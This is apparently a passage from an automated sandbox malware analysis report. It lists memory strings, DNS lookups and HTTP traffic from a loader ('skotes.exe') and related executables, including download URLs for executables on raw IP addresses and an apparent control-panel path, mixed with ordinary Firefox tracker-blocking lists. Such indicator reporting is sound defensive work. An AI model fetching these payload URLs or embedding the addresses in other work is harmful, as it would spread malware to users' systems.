Source: firefox.exe, 00000037.00000002.3327778223.00000230FC8F1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3330390371.00000230FCB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3349181281.00000231030AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3349181281.00000231030AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000037.00000002.3349181281.00000231030AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 00000037.00000002.3008156422.00000230F7160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 00000037.00000002.3329779712.00000230FCA0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null} equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: fightlsoser.click
Source: global traffic	DNS traffic detected: DNS query: drive-connect.cyou
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: grahm.xyz
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fightlsoser.click

Source: firefox.exe, 00000037.00000002.2995908921.00000230EAE5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: skotes.exe, 00000006.00000002.2983995817.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000006.00000002.2983995817.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe1395d7fz
Source: skotes.exe, 00000006.00000002.2983995817.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeX
Source: skotes.exe, 00000006.00000002.2983995817.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 00000006.00000002.2983995817.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000006.00000002.2983995817.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/6122658-3693405117-2476756634-10025h
Source: skotes.exe, 00000006.00000002.2983995817.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Local
Source: skotes.exe, 00000006.00000002.2983995817.0000000000F79000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2983995817.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.2983995817.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php/
Source: skotes.exe, 00000006.00000002.2983995817.0000000000F79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpl8
Source: skotes.exe, 00000006.00000002.2983995817.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe
Source: skotes.exe, 00000006.00000002.2983995817.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/encoxx/random.exe
Source: skotes.exe, 00000006.00000002.2983995817.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe
Source: skotes.exe, 00000006.00000002.2983995817.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exeL
Source: skotes.exe, 00000006.00000002.2983995817.0000000000F79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/hell911/random.exe
Source: skotes.exe, 00000006.00000002.2983995817.0000000000F91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/hell911/random.exeS
Source: skotes.exe, 00000006.00000002.2983995817.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exe&h
Source: skotes.exe, 00000006.00000002.2983995817.0000000000FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exe_h
Source: 8ef456fdd1.exe, 00000009.00000003.2784742087.0000000005594000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2998515305.000000000568D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/
Source: 8ef456fdd1.exe, 00000009.00000003.2705613542.0000000005594000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2733721599.0000000005594000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2759339152.0000000005594000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2784742087.0000000005594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/=
Source: 8ef456fdd1.exe, 00000009.00000003.2911248119.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2978873448.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp
Source: 8ef456fdd1.exe, 00000009.00000003.2911248119.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2978873448.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=empe
Source: 8ef456fdd1.exe, 00000009.00000003.2911248119.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2978873448.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=empll9
Source: 8ef456fdd1.exe, 00000009.00000003.2911248119.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2978873448.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=empy
Source: 8ef456fdd1.exe, 00000009.00000003.2860652097.0000000005594000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2997616619.0000000005596000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2885923569.0000000005594000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2835337060.0000000005594000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2810115729.0000000005594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/d
Source: 8ef456fdd1.exe, 00000009.00000003.2911248119.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2997497235.0000000005590000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2978873448.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/download
Source: 8ef456fdd1.exe, 00000009.00000003.2784742087.0000000005594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/key
Source: 8ef456fdd1.exe, 00000009.00000003.2911248119.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2978873448.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/key6
Source: 8ef456fdd1.exe, 00000009.00000003.2911248119.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2978873448.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/keyN
Source: 8ef456fdd1.exe, 00000009.00000002.2997616619.0000000005596000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dows
Source: 8ef456fdd1.exe, 00000009.00000002.2997616619.0000000005596000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloa
Source: 8ef456fdd1.exe, 00000009.00000002.2997616619.0000000005596000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloa=
Source: 8ef456fdd1.exe, 00000009.00000003.2680466107.00000000055A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download
Source: 8ef456fdd1.exe, 00000009.00000003.2911248119.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download)
Source: 8ef456fdd1.exe, 00000009.00000003.2784742087.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2885923569.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2835337060.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2759339152.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2997616619.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2810115729.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2860652097.00000000055A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download0/files/download
Source: 8ef456fdd1.exe, 00000009.00000003.2885923569.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2835337060.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2997616619.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2860652097.00000000055A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download0/files/downloadT
Source: 8ef456fdd1.exe, 00000009.00000003.2885923569.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2835337060.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2997616619.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2810115729.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2860652097.00000000055A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download0/files/downloadZp
Source: 8ef456fdd1.exe, 00000009.00000003.2911248119.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download1
Source: 8ef456fdd1.exe, 00000009.00000003.2885923569.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2835337060.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2997616619.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2860652097.00000000055A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download2
Source: 8ef456fdd1.exe, 00000009.00000002.2997616619.0000000005596000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2885923569.0000000005594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download32
Source: 8ef456fdd1.exe, 00000009.00000002.2997616619.00000000055A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadH
Source: 8ef456fdd1.exe, 00000009.00000003.2705613542.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2784742087.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2759339152.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2733721599.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2648457319.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2810115729.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2680466107.00000000055A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadT
Source: 8ef456fdd1.exe, 00000009.00000003.2784742087.00000000055A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadZp
Source: 8ef456fdd1.exe, 00000009.00000003.2860652097.0000000005594000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2997616619.0000000005596000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2885923569.0000000005594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadh
Source: 8ef456fdd1.exe, 00000009.00000003.2860652097.0000000005594000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2997616619.0000000005596000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2885923569.0000000005594000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2835337060.0000000005594000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2810115729.0000000005594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadros
Source: 8ef456fdd1.exe, 00000009.00000002.2998515305.000000000568D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/download
Source: 8ef456fdd1.exe, 00000009.00000002.2978873448.0000000000EDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/download)
Source: 8ef456fdd1.exe, 00000009.00000002.2978328152.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/download0/soft/download
Source: 8ef456fdd1.exe, 00000009.00000002.2978873448.0000000000EDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/download1
Source: 8ef456fdd1.exe, 00000009.00000002.2997616619.0000000005596000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/download32
Source: 8ef456fdd1.exe, 00000009.00000002.2978328152.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/downloadD
Source: 8ef456fdd1.exe, 00000009.00000002.2998515305.000000000568D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/downloadE:
Source: 8ef456fdd1.exe, 00000009.00000002.2978328152.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/downloadJ
Source: 8ef456fdd1.exe, 00000009.00000002.2998515305.000000000568D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/downloadUTF-8
Source: 8ef456fdd1.exe, 00000009.00000002.2978328152.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/downloadf
Source: 8ef456fdd1.exe, 00000009.00000002.2978328152.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/downloadl
Source: 8ef456fdd1.exe, 00000009.00000002.2978328152.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/downloadp
Source: 1747150d4f.exe, 00000007.00000003.2797892094.0000000003C33000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2902060171.0000000003B88000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3327778223.00000230FC856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 1747150d4f.exe, 00000007.00000003.2797892094.0000000003C33000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2902060171.0000000003B88000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3327778223.00000230FC856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000037.00000002.3005955563.00000230F6D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 00000037.00000002.3004411668.00000230F6726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: 1747150d4f.exe, 00000007.00000003.2797892094.0000000003C33000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2902060171.0000000003B88000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3327778223.00000230FC856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
